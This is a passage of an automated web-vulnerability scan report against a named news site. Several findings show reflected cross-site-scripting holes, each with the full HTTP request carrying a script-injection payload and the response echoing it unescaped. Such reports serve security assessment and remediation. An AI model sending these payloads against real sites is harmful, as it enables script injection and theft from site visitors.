Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:33 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460153"
Content-Type: text/html; charset=utf-8
Content-Length: 57770
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:34 GMT
X-Varnish: 252446380
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesf6986"><script>alert(1)</script>0684c604f36/features/itw_activity/js/itw_activity.js?h"/>
...[SNIP]...

1.357. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe322"-alert(1)-"ea031e84d42 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/features/itw_activityfe322"-alert(1)-"ea031e84d42/js/itw_activity.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:21 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460321"
Content-Type: text/html; charset=utf-8
Content-Length: 57555
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:25 GMT
X-Varnish: 1038160234
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
;
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/features/itw_activityfe322"-alert(1)-"ea031e84d42/js/itw_activity.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.358. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a83f"><script>alert(1)</script>4c6d8d648c4 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/features/itw_activity/js4a83f"><script>alert(1)</script>4c6d8d648c4/itw_activity.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:45 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460345"
Content-Type: text/html; charset=utf-8
Content-Length: 57775
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:55 GMT
X-Varnish: 1038161015
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/features/itw_activity/js4a83f"><script>alert(1)</script>4c6d8d648c4/itw_activity.js?h"/>
...[SNIP]...

1.359. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cfacc"-alert(1)-"034c16be1fa was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/features/itw_activity/jscfacc"-alert(1)-"034c16be1fa/itw_activity.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:04 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460364"
Content-Type: text/html; charset=utf-8
Content-Length: 57554
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:06 GMT
X-Varnish: 1038161490
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/features/itw_activity/jscfacc"-alert(1)-"034c16be1fa/itw_activity.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";

...[SNIP]...

1.360. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85172"><script>alert(1)</script>e5a234986fb was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/features/itw_activity/js/itw_activity.js85172"><script>alert(1)</script>e5a234986fb?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460379"
Content-Type: text/html; charset=utf-8
Content-Length: 57775
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:20 GMT
X-Varnish: 1038161969
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js85172"><script>alert(1)</script>e5a234986fb?h"/>
...[SNIP]...

1.361. http://www.itworld.com/sites/all/modules/features/itw_activity/js/itw_activity.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_activity/js/itw_activity.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f867"-alert(1)-"7d8d0f693fb was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/features/itw_activity/js/itw_activity.js3f867"-alert(1)-"7d8d0f693fb?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:31 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460391"
Content-Type: text/html; charset=utf-8
Content-Length: 57555
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:33 GMT
X-Varnish: 1038162368
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/features/itw_activity/js/itw_activity.js3f867"-alert(1)-"7d8d0f693fb";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.362. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e8475"><script>alert(1)</script>1675119bac was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulese8475"><script>alert(1)</script>1675119bac/features/itw_answers/js/itw_answers.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 57740
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446253
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulese8475"><script>alert(1)</script>1675119bac/features/itw_answers/js/itw_answers.js?h"/>
...[SNIP]...

1.363. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67cd0"-alert(1)-"da8abe6b25 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules67cd0"-alert(1)-"da8abe6b25/features/itw_answers/js/itw_answers.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:59 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460179"
Content-Type: text/html; charset=utf-8
Content-Length: 57524
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:06 GMT
X-Varnish: 252446845
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules67cd0"-alert(1)-"da8abe6b25/features/itw_answers/js/itw_answers.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the
...[SNIP]...

1.364. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d399d"-alert(1)-"31be98e978 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/featuresd399d"-alert(1)-"31be98e978/itw_answers/js/itw_answers.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460216"
Content-Type: text/html; charset=utf-8
Content-Length: 57526
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:37 GMT
X-Varnish: 252447487
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
p14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/featuresd399d"-alert(1)-"31be98e978/itw_answers/js/itw_answers.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you
...[SNIP]...

1.365. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e31a"><script>alert(1)</script>7729d7748ea was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/features4e31a"><script>alert(1)</script>7729d7748ea/itw_answers/js/itw_answers.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:21 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460201"
Content-Type: text/html; charset=utf-8
Content-Length: 57756
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:23 GMT
X-Varnish: 252447286
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/features4e31a"><script>alert(1)</script>7729d7748ea/itw_answers/js/itw_answers.js?h"/>
...[SNIP]...

1.366. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da83e"-alert(1)-"f1ebe769bc3 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/features/itw_answers/jsda83e"-alert(1)-"f1ebe769bc3/itw_answers.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460352"
Content-Type: text/html; charset=utf-8
Content-Length: 57536
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:19 GMT
X-Varnish: 1038161281
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/features/itw_answers/jsda83e"-alert(1)-"f1ebe769bc3/itw_answers.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s
...[SNIP]...

1.367. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8244"-alert(1)-"51091d78acf was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/features/itw_answers/js/itw_answers.jsb8244"-alert(1)-"51091d78acf?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460401"
Content-Type: text/html; charset=utf-8
Content-Length: 57535
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:48 GMT
X-Varnish: 1038162525
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/features/itw_answers/js/itw_answers.jsb8244"-alert(1)-"51091d78acf";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.368. http://www.itworld.com/sites/all/modules/features/itw_answers/js/itw_answers.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/features/itw_answers/js/itw_answers.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 548d2"><script>alert(1)</script>95a3014971e was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/features/itw_answers/js/itw_answers.js548d2"><script>alert(1)</script>95a3014971e?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:27 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460387"
Content-Type: text/html; charset=utf-8
Content-Length: 57755
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:28 GMT
X-Varnish: 1038162213
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
